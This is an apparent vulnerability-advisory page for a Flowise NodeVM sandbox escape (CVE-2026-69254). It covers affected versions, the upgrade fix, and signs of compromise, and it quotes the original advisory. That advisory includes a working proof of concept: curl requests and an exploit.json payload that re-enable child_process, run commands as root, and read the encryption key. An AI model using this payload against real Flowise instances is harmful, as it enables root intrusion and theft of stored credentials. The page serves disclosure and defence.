CVE-2026-69254: Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
Flowise's custom-function endpoint runs user JavaScript in a restricted NodeVM, but code inside it can call `executeJavaScriptCode()` again with its own options and re-enable `child_process`. Any authenticated user with an API key then runs commands, as root in the Docker image. Flowise 3.0.5 up to 3.1.2 are affected. Upgrade to 3.1.3.
Published Aug 4, 2026 · Analysis Oct 25, 2026
What an attacker can do
executeJavaScriptCode() in packages/components/src/utils.ts builds secure defaults: a require.builtin allowlist that blocks child_process, fs and os, plus eval: false. It then merges caller options with { ...defaultNodeVMOptions, ...nodeVMOptions }. The caller's nodeVMOptions wins.
The route POST /api/v1/node-custom-function passes the request body to executeCustomNodeFunction, which runs the user's javascriptFunction inside the sandbox. From inside, the code can require the absolute path of flowise-components/dist/src/utils.js and reach executeJavaScriptCode itself. It calls it with nodeVMOptions: { require: { builtin: ["*"] } }. The nested VM can now require("child_process").
The reporter's proof ran id as uid 0 in the Docker image and read /root/.flowise/encryption.key. That key decrypts every stored credential, including API keys, OAuth tokens and database passwords. The JWT secret in /root/.flowise/jwt_auth_token_secret.key lets an attacker forge tokens for any user.
The attacker needs a Flowise account and an API key. The report registered an account and created a key in the UI. That makes it a risk for any instance that allows self-registration or shares keys.
Who is affected
npm packages flowise and flowise-components, versions >= 3.0.5 and <= 3.1.2. The advisory's own range runs from 3.0.5 through 3.1.1; the package data lists everything through 3.1.2. Check the version:
npm ls -g flowise flowise-componentsThe running version also shows at /api/v1/version.
flowise
- Ecosystem
- npm
- Affected
- <= 3.1.2
- Fixed in
- 3.1.3
- Check
npm ls flowise
flowise-components
- Ecosystem
- npm
- Affected
- <= 3.1.2
- Fixed in
- 3.1.3
- Check
npm ls flowise-components
How to fix it
Upgrade flowise and flowise-components to 3.1.3. The fix is in pull request 6306 and commit 3086cb7e323bb96c5a581d3232ef975b0d92183d:
npm install -g [email protected]The advisory gives no workaround. Because the encryption key and JWT secret are readable on an exploited host, rotate stored credentials and the JWT secret if an untrusted user held an API key on an affected version. Also revoke API keys you do not recognise.
How to tell if you were hit
Look for POST /api/v1/node-custom-function requests in access logs, particularly from API keys that do not normally use it, with a body that contains executeJavaScriptCode, nodeVMOptions or a path to flowise-components/dist/src/utils.js. Check for new files in /tmp, new cron entries, and child processes of the Flowise server. Beam logs shell commands run on a host with AI agents, which would show a command spawned by Flowise.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.
Details
The vulnerability is in packages/components/src/utils.ts at line 1755:
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }
The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:
async (code, sandbox, options = {}) => {
const { nodeVMOptions = {} } = options;
// ...
const defaultNodeVMOptions = {
require: {
builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc.
mock: secureWrappers
},
eval: false,
wasm: false
}
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings
const vm = new NodeVM(finalNodeVMOptions)
}The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.
Taint 01: Route Registration packages/server/src/routes/node-custom-functions/index.ts (line 8)
Taint 02: Controller executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90)
Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction — packages/server/src/utils/executeCustomNodeFunction.ts (line 49)
Taint 04: Sandbox Entry Code runs inside NodeVM via executeJavaScriptCode() — packages/components/src/utils.ts (line 1760)
Taint 05: Escape Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself
Taint 06: Override The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }
Taint 07: RCE Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.
PoC
Step 1: Start Flowise
docker run -d --name flowise-poc -p 3000:3000 \
-e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
flowiseai/flowise:latest
# Wait ~30s for startup
curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"} Step 2: Obtain Bearer Token
Register an account, then create an API key:
# Register
curl -s -X POST http://localhost:3000/api/v1/account/register \
-H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","password":"Attack12345","name":"Attacker"}}'
# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)
# Copy the key — this is the Bearer token used below. Step 3: Create Payload
cat > exploit.json << 'EOF'
{
"javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");
return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"
}
EOF Step 4: Exploit
# Pre-check: file does not exist
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# ls: /tmp/RCE-PROOF.txt: No such file or directory
# Execute
curl -X POST http://localhost:3000/api/v1/node-custom-function \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d @exploit.json
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt
docker exec flowise-poc cat /tmp/RCE-PROOF.txt
# uid=0(root) gid=0(root) groups=0(root)...
docker exec flowise-poc cat /root/.flowise/encryption.key
# GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb Impact
Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.
Credited to akshat-sj.
Questions
- Does this need the full admin role?
The report says any authenticated user with a valid API key can do it. It registered an ordinary account and created a key.
- What is the root cause?
A spread operator merges caller-supplied
nodeVMOptionsover the secure defaults, so the caller can switchrequire.builtinto["*"].- Which endpoint is used?
POST /api/v1/node-custom-function, which runs thejavascriptFunctionbody in the sandbox.- Which version fixes it?
flowiseandflowise-components3.1.3.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Flowise vulnerabilities
All Flowise entriesCVE-2026-73483
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
critical9.4Oct 7, 2026CVE-2026-73487
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
critical9.0Oct 7, 2026CVE-2026-69250
Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
high8.5Aug 4, 2026CVE-2026-69251
Flowise RCE via TypeORM DataSource
critical9.0Aug 4, 2026CVE-2026-69252
Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
high7.2Aug 4, 2026CVE-2026-69253
Flowise Sandbox Escape to RCE
critical9.0Aug 4, 2026
